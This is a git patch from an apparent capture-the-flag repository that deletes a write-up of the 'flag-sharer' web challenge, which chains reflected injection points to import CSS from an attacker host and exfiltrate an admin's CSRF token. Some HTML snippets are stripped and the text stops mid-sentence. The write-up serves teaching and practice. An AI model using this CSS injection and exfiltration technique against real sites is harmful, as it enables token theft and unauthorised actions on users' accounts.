From 711bbbfcf3c7834f222903e4c43ffb411f119e65 Mon Sep 17 00:00:00 2001 From: m3rc1fulcameron Date: Mon, 29 Jun 2020 23:00:46 -0400 Subject: [PATCH] maybe fixed line breaks --- README.md | 5 +++++ writeup.md | 57 ------------------------------------------------------ 2 files changed, 5 insertions(+), 57 deletions(-) delete mode 100644 writeup.md diff --git a/README.md b/README.md index d600985..3342e37 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,16 @@ # flag-sharer **Category**: Web + **Points (final)**: 499 points + **Solves**: 3 + **Provided file(s)**: flag-sharer.tar + **Provided host(s)**: https://flag-sharer.ml + ## Write-up by Cameron diff --git a/writeup.md b/writeup.md deleted file mode 100644 index 3342e37..0000000 --- a/writeup.md +++ /dev/null @@ -1,57 +0,0 @@ -# flag-sharer - -**Category**: Web - -**Points (final)**: 499 points - -**Solves**: 3 - -**Provided file(s)**: flag-sharer.tar - -**Provided host(s)**: https://flag-sharer.ml - - -## Write-up -by Cameron - -In this challenge, the goal was to gain access to a flag stored within the application. Additionally, a system was provided which would allow me to send a URL for an 'admin-bot' to visit, implying the solution to the challenge would require some sort of client-side. Examination of provided URL reveals the primary functionality of the site was to allow users to register and share flags to which they have access to other registered users. The mere creation of an account grants the user access to both the `United States` and `Tunisia` flags via the `https://flag-sharer.ml/item?name=` endpoint. Attempting to access any flag which the authenticated user does not have access to yields an error message ` is not in your item list.` This endpoint returns no `Content-Type` header and performs no filtering on the reflected input, making it a prime candidate for injection. Unfortunately, the server returns the `content-security-policy: script-src 'none'; object-src 'none'` header in all responses it sends to the client, making it impossible to perform traditional XSS attacks. Examination of the `https://flag-sharer.ml/gifts` page reveals that a CSRF token must be presented with the request to send a flag to a user, preventing common CSRF attacks against the admin user. Fuzzing of the form fields located on that same page revealed a URL parameter `error` which echoes its contents into the DOM in the following manner: -```html -An error occured: {{INJECTION}} - -``` -Unfortunately, the server filters the `error` parameter against the regular expression `/[&<>"'*\s]/`, banning characters which might allow us to escape the context of the ` -``` -The response body of the `/item` page resolves to: -```css -@import url("https://evil.risky.services/evil.css");.css is not in your item list. -``` -Thus, through these two injection points, it is possible to include arbitrary CSS on the `/gifts` page. -At this point in time, I was thinking that the solution to this challenge would be to perform the somewhat trivial form of CSS data exfiltration via `[value=""]` selectors on the relevant input elements. Imagine my dismay when I realized that the CSRF token which was my goal lie in a `